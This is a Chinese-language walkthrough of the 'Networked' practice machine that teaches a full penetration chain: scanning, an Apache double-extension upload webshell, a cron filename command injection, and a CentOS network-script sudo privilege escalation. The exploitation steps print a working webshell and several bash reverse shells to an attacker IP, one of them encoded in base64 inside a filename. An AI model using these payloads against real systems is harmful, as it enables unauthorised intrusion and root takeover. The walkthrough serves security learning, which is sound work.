[Meachines] [Easy] Networked 源码泄露-Upload+Apache中间件解析漏洞+定时任务命令注入+CentOS网络配置权限提升命令注入
字数 1003 2025-08-20 18:18:23

网络安全渗透测试教学文档:Networked靶机渗透过程分析

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.146 --min-rate 1000 -sC -sV

扫描结果:

  • 开放端口:
    • 22/tcp: OpenSSH 7.4 (protocol 2.0)
    • 80/tcp: Apache httpd 2.4.6 (CentOS) PHP/5.4.16

1.2 Web目录枚举

使用Gobuster进行目录扫描:

gobuster dir -u "http://10.10.10.146/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50

发现重要目录/backup,下载备份文件:

wget http://10.10.10.146/backup/backup.tar
tar xvf backup.tar

2. 漏洞利用阶段

2.1 源码审计

分析备份文件中的lib.php,发现可能存在漏洞的代码。

2.2 Apache中间件解析漏洞

Apache 2.4.x存在向上解析漏洞,可以上传恶意文件绕过限制:

  1. 创建恶意文件:
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php.png
echo '<?php system($_GET[1]);?>' >> shell.php.png
  1. 访问上传的文件执行命令:
http://10.10.10.146/uploads/10_10_16_14.php.png?1=dir
  1. 获取反向shell:
curl 'http://10.10.10.146/uploads/10_10_16_14.php.png?1=%2fbin%2fbash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f10.10.16.14%2f10032+0%3e%261%27'

2.3 定时任务命令注入

分析定时任务脚本发现命令注入漏洞:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

漏洞利用方法:

  1. $value变量未经过滤,可通过特殊文件名注入命令
  2. 例如创建名为"; cmd的文件会导致执行:
nohup /bin/rm -f $path;cmd > /dev/null 2>&1 &

实际利用:

cd /var/www/html/uploads
reverse=$(echo -n 'bash -c "bash -i >/dev/tcp/10.10.16.14/10034 0>&1"' | base64)
touch -- "; echo $reverse | base64 -d | bash"

获取user.txt:

6b914b0701e297b83c7e6d052dc37247

3. 权限提升阶段

3.1 检查sudo权限

sudo -l

3.2 分析changename.sh脚本

脚本路径:/usr/local/sbin/changename.sh

脚本功能:

  • 为guly0网络接口创建配置
  • 使用ifup guly0激活接口
  • 输入验证只允许字母数字字符、斜杠或破折号

3.3 CentOS网络配置漏洞

漏洞原理:

  • CentOS的网络配置脚本对命令注入存在漏洞
  • 底层服务引用这些脚本时,空格后的内容会被执行

利用方法:

sudo /usr/local/sbin/changename.sh x /bin/bash x x x

4. 关键知识点总结

  1. Apache解析漏洞:利用文件扩展名解析顺序绕过上传限制
  2. 命令注入:通过未过滤的用户输入执行系统命令
  3. 定时任务漏洞:通过控制文件名实现命令注入
  4. 网络配置提权:利用网络服务脚本的命令注入漏洞获取root权限
  5. 防御措施
    • 严格过滤用户输入
    • 使用安全的文件上传处理方式
    • 避免在脚本中使用未过滤的系统命令调用
    • 定期更新中间件和系统组件

5. 渗透测试流程总结

  1. 信息收集:端口扫描、目录枚举
  2. 漏洞发现:源码审计、中间件版本分析
  3. 初始访问:利用文件上传漏洞获取webshell
  4. 权限提升:利用定时任务和网络配置漏洞
  5. 后渗透:获取敏感信息,建立持久访问

通过这个案例,我们可以学习到从信息收集到权限提升的完整渗透测试流程,以及多种漏洞的综合利用方法。

网络安全渗透测试教学文档:Networked靶机渗透过程分析 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 开放端口: 22/tcp: OpenSSH 7.4 (protocol 2.0) 80/tcp: Apache httpd 2.4.6 (CentOS) PHP/5.4.16 1.2 Web目录枚举 使用Gobuster进行目录扫描: 发现重要目录/backup,下载备份文件: 2. 漏洞利用阶段 2.1 源码审计 分析备份文件中的lib.php,发现可能存在漏洞的代码。 2.2 Apache中间件解析漏洞 Apache 2.4.x存在向上解析漏洞,可以上传恶意文件绕过限制: 创建恶意文件: 访问上传的文件执行命令: 获取反向shell: 2.3 定时任务命令注入 分析定时任务脚本发现命令注入漏洞: 漏洞利用方法: $value 变量未经过滤,可通过特殊文件名注入命令 例如创建名为 "; cmd 的文件会导致执行: 实际利用: 获取user.txt: 3. 权限提升阶段 3.1 检查sudo权限 3.2 分析changename.sh脚本 脚本路径: /usr/local/sbin/changename.sh 脚本功能: 为guly0网络接口创建配置 使用 ifup guly0 激活接口 输入验证只允许字母数字字符、斜杠或破折号 3.3 CentOS网络配置漏洞 漏洞原理: CentOS的网络配置脚本对命令注入存在漏洞 底层服务引用这些脚本时,空格后的内容会被执行 利用方法: 4. 关键知识点总结 Apache解析漏洞 :利用文件扩展名解析顺序绕过上传限制 命令注入 :通过未过滤的用户输入执行系统命令 定时任务漏洞 :通过控制文件名实现命令注入 网络配置提权 :利用网络服务脚本的命令注入漏洞获取root权限 防御措施 : 严格过滤用户输入 使用安全的文件上传处理方式 避免在脚本中使用未过滤的系统命令调用 定期更新中间件和系统组件 5. 渗透测试流程总结 信息收集:端口扫描、目录枚举 漏洞发现:源码审计、中间件版本分析 初始访问:利用文件上传漏洞获取webshell 权限提升:利用定时任务和网络配置漏洞 后渗透:获取敏感信息,建立持久访问 通过这个案例,我们可以学习到从信息收集到权限提升的完整渗透测试流程,以及多种漏洞的综合利用方法。